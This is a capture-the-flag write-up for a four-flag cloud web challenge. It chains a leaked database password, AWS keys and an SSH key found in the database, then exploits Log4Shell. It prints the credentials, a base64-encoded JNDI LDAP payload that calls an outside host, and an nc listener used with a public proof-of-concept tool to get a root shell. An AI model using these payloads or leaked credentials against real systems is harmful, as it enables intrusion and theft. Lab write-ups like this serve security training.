Tags: web cloud
Rating:
# Cloud Escalator Part 1, 300 points
## Flag 1 - 25 points
I started by poking around the site for leads.
I found a `/login` page as well as a `/forgotpassword.html` page, and in the source code of this page we find:
> // Complete the connection to mysqldb escalator.c45luksaam7a.us-east-1.rds.amazonaws.com. Use credential allen:8%pZ-s^Z+P4d=h@P
So I tried to connect to the mysql db with the command `mysql -u allen -h escalator.c45luksaam7a.us-east-1.rds.amazonaws.com -p`
To navigate through the different db's, we need to do `show databases;` | `use 'db';` | `show tables;` | `show tables;` | `select * from 'table';`
And in the users db, we find the data table which contains :
**Flag 1: CTF{!_p@wn3d_db_4_fu9}**
## Flag 2 - 50 points
Digging in the db, we also find a key aws (`AKIAWSXCCGNYFS7NN2XU | m6zD41qMXR4KlcyjXAIxdYrDm0YczPIiyi1p9P0I`)
I used this [write up](https://github.com/piyagehi/CTF-Writeups/blob/main/2021-Space-Race/1-Locked-Out.md) to find the second flag.
I installed aws-client and was able to download the file `Logs.txt`.
In this one we have the second flag,
**Flag 2: CTF{S3eing_T3r0ugh_!t}**
## Flag 3 - 75 points
In the mysql db, there was also an openssh private key in the git table, and there is mention of a github repository in `Logs.txt` (github.com/cloudhopper-sec/app.git).
So I used [this tutorial](https://superuser.com/questions/232373/how-to-tell-git-which-private-key-to-use) to clone a github repository while using an openssh private key.
`git clone [email protected]:cloudhopper-sec/app.git`
And then I searched in the files for the flag.
Here are two unassigned variables in the CookieHandler.java file:
So I said to myself that they were assigned in a previous commit.
(to list all the commits, `git log` and to switch from one commit to another, `git checkout 'commit hash'`)
And if you look through the previous commits, you will find :
Tada! We can then connect to the site to get our flag:
**Flag 3: CTF{Y0u_G0t_A_l3ak}**
## Flag 4 - 150 points
And this is where the problems start.
This is the log4j java library. If you don't know it, you should know that thanks to it an attacker is able to get a shell without too much difficulty.
For that, the user's input must be read by this library. The only place where this is the case in all these files is here:
On the `profile` page (accessible when logged in), the program checks if there is a debug cookie and if so, reads its content in base64.
I started by testing the vulnerability with the [log4shell.tools](https://log4shell.tools) site.
My test exploit:
`${jndi:ldap://e61de143-90b5-4a8d-afb5-eea3c5b75db9.dns.log4shell.tools:12345/e61de143-90b5-4a8d-afb5-eea3c5b75db9}`
Into base 64:
`JHtqbmRpOmxkYXA6Ly9lNjFkZTE0My05MGI1LTRhOGQtYWZiNS1lZWEzYzViNzVkYjkuZG5zLmxvZzRzaGVsbC50b29sczoxMjM0NS9lNjFkZTE0My05MGI1LTRhOGQtYWZiNS1lZWEzYzViNzVkYjl9`
Into 'debug' cookie :
The site detects a request, which makes it a Log4Shell vulnerability discovery!
So I used this fantastic [tool](https://github.com/kozmer/log4j-shell-poc), ran an `nc -lnvp 9001` and boom!
We get a shell !
so I did :
`ls /`
`ls /root`
`cat /root/flag`
**Flag 4: CTF{H3aT_th3_L0GF0rg3}**
Thanks for reading!
